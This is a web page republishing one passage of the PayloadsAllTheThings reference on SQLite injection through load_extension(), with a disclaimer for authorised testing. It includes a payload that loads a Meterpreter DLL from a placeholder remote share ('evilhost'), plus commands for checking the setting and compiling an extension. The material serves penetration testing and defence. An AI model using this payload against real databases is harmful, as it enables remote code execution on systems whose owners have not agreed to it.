Skip to content
BackEsc
Sign in

SQL Injection · passage 165 of 186

SQLite Injection: Loadextension

3 code blocks · SQL Injection/SQLite Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

:warning: SQLite's ability to load external shared libraries (extensions) is disabled by default in most environments. When enabled, SQLite can load a compiled module using the `load_extension()` SQL function:

SELECT load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

In the sqlite3 command-line shell you can display runtime configuration with:

sqlite> .dbconfig
    load_extension on

If you see `load_extension on` (or off), that indicates whether the shell's runtime currently permits loading shared-library extensions. A SQLite extension is simply a native shared library,typically a `.so` file on Linux or a `.dll` file on Windows, that exposes a special initialization function. When the extension is loaded, SQLite calls this function to register any new SQL functions, virtual tables, or other features provided by the module. To compile a loadable extension on Linux, you can use:

gcc -g -fPIC -shared demo.c -o demo.so

Source: SQL Injection/SQLite Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 157 to 182, reading order first.

  1. SQLite Injection: SQLite Comments§ 157text · SQLite Injection.md
  2. SQLite Injection: SQLite Enumeration§ 158text · SQLite Injection.md
  3. SQLite Injection: SQLite String Methodology§ 159text · SQLite Injection.md
  4. SQLite Injection: SQLite Blind Methodology§ 160text · SQLite Injection.md
  5. SQLite Injection: SQLite Blind With Substring Equivalent§ 161text · SQLite Injection.md
  6. SQLite Injection: SQlite Error Based§ 1621 code block · SQLite Injection.md
  7. SQLite Injection: SQlite Time Based§ 1631 code block · SQLite Injection.md
  8. SQLite Injection: Attach Database§ 1643 code blocks · SQLite Injection.md
  9. SQLite Injection: Loadextension§ 1653 code blocks · SQLite Injection.md
  10. SQLite Injection: SQLite Read File§ 166text · SQLite Injection.md
  11. SQLite Injection: SQLite Write File§ 1671 code block · SQLite Injection.md
  12. SQLmap: SQLmap§ 168text · SQLmap.md
  13. SQLmap: Basic Arguments For SQLmap§ 1691 code block · SQLmap.md
  14. SQLmap: Load A Request File§ 1701 code block · SQLmap.md
  15. SQLmap: Custom Injection Point§ 1711 code block · SQLmap.md
  16. SQLmap: Second Order Injection§ 1721 code block · SQLmap.md
  17. SQLmap: Getting A Shell§ 173text · SQLmap.md
  18. SQLmap: Crawl And Auto-Exploit§ 1741 code block · SQLmap.md
  19. SQLmap: Proxy Configuration For SQLmap§ 1751 code block · SQLmap.md
  20. SQLmap: Injection Tampering§ 176text · SQLmap.md
  21. SQLmap: Suffix And Prefix§ 1771 code block · SQLmap.md
  22. SQLmap: Default Tamper Scripts§ 1781 code block · SQLmap.md
  23. SQLmap: Custom Tamper Scripts§ 1791 code block · SQLmap.md
  24. SQLmap: Custom SQL Payload§ 1801 code block · SQLmap.md
  25. SQLmap: Evaluate Python Code§ 1811 code block · SQLmap.md
  26. SQLmap: Preprocess And Postprocess Scripts§ 1821 code block · SQLmap.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in